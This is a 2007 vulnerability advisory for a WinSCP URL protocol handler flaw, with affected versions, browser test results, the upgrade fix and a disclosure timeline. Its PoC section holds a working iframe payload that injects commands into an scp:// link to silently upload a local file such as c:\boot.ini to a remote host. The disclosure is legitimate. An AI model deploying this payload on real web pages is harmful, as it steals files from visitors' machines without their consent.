WinSCP < 4.04 url protocol handler flaw Sep 13 2007 11:22AM
Kender Security gmail com
-Affected products: WinSCP 4.03 and older

-Details:
By default WinSCP installs url protocol handlers for the scp:// and sftp:// protocols.
These could be used by malicious web content to automatically upload any file from the local system to a remote server, or automatically download files from a remote server to the local system.

Since version 3.8.2 there is a sort of protection against this, but this does not stop all forms of attack.

-PoC:
On a machine you control set up an scp-only account with the username "scp" with any password.
Place this on a website:
<iframe src='scp:password (at) yourhost (dot) com [email concealed]:" /console /command "option confirm off" "put c:\boot.ini" close exit "'/>
This will upload a file to the server when the page is visited by a user with a vulnerable WinSCP installed.

Downloading a file from the server to any location writable by the current user also works.

-Tested on:
IE6 & IE7 works.
FF older than 2.0.0.5 works.
FF 2.0.0.5 and newer show a confirmation dialog before executing WinSCP.

-Solution
Upgrade to version 4.04 or higher from http://winscp.net/download.php

-Timeline
24-Jul-2007 Vulnerability reported to Martin Prikryl
25-07-2007 Proposed fix to Martin
31-07-2007 Response from Martin
01-09-2007 Martin confirms fix
02-09-2007 New version done
06-09-2007 WinSCP v4.04 released

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